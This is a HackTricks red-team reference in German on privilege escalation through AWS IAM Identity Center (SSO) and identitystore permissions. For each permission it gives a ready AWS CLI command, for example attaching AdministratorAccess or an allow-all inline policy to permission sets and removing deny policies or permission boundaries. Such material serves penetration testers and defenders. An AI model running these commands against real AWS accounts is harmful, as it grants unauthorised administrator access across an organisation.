AWS - SSO & identitystore Privesc

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

AWS Identity Center / AWS SSO

Für weitere Informationen zu AWS Identity Center / AWS SSO siehe:

pageAWS - IAM, Identity Center & SSO Enum

Beachten Sie, dass standardmäßig nur Benutzer mit Berechtigungen aus dem Management Account auf das IAM Identity Center zugreifen und es steuern können. Benutzer aus anderen Konten können dies nur zulassen, wenn das Konto ein Delegierter Administrator ist. Überprüfen Sie die Dokumentation für weitere Informationen.

Passwort zurücksetzen

Ein einfacher Weg, um in Fällen wie diesem Berechtigungen zu eskalieren, wäre eine Berechtigung zu haben, die es ermöglicht, Benutzerpasswörter zurückzusetzen. Leider ist es nur möglich, dem Benutzer eine E-Mail zum Zurücksetzen seines Passworts zu senden, daher benötigen Sie Zugriff auf die E-Mail des Benutzers.

identitystore:CreateGroupMembership

Mit dieser Berechtigung ist es möglich, einen Benutzer in eine Gruppe zu setzen, sodass er alle Berechtigungen erbt, die die Gruppe hat.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen für einen Berechtigungssatz gewähren, der einem Benutzer unter seiner Kontrolle gewährt wird.

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen für einen Berechtigungssatz gewähren, der einem Benutzer unter seiner Kontrolle gewährt wird.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Ein Angreifer mit dieser Berechtigung könnte zusätzliche Berechtigungen für einen Berechtigungssatz gewähren, der einem Benutzer unter seiner Kontrolle gewährt wird.

Um diese Berechtigungen in diesem Fall auszunutzen, müssen Sie den Namen einer kundenverwalteten Richtlinie kennen, die in ALLEN Konten bekannt ist, die betroffen sein werden.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:GetRoleCredentials

Gibt die STS-Kurzzeitberechtigungen für einen bestimmten Rollennamen zurück, der dem Benutzer zugewiesen ist.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Allerdings benötigen Sie einen Zugriffstoken, von dem ich nicht sicher bin, wie man ihn erhält (TODO).

sso:DetachManagedPolicyFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Verknüpfung zwischen einer AWS-Verwaltungspolitik und dem angegebenen Berechtigungssatz entfernen. Es ist möglich, weitere Berechtigungen zu gewähren, indem eine verwaltete Richtlinie (Verweigerungsrichtlinie) entfernt wird.

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Verknüpfung zwischen einer kundenverwalteten Richtlinie aus dem angegebenen Berechtigungssatz entfernen. Es ist möglich, mehr Privilegien zu gewähren, indem eine verwaltete Richtlinie (Ablehnungsrichtlinie) abgetrennt wird.

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Berechtigungen aus einer Inline-Richtlinie aus dem Berechtigungssatz entfernen. Es ist möglich, mehr Privilegien zu gewähren, indem eine Inline-Richtlinie (Deny-Richtlinie) abgelöst wird.

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Ein Angreifer mit dieser Berechtigung kann die Berechtigungsgrenze aus dem Berechtigungssatz entfernen. Es ist möglich, mehr Privilegien zu gewähren, indem die Einschränkungen auf dem Berechtigungssatz entfernt werden, die durch die Berechtigungsgrenze festgelegt wurden.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated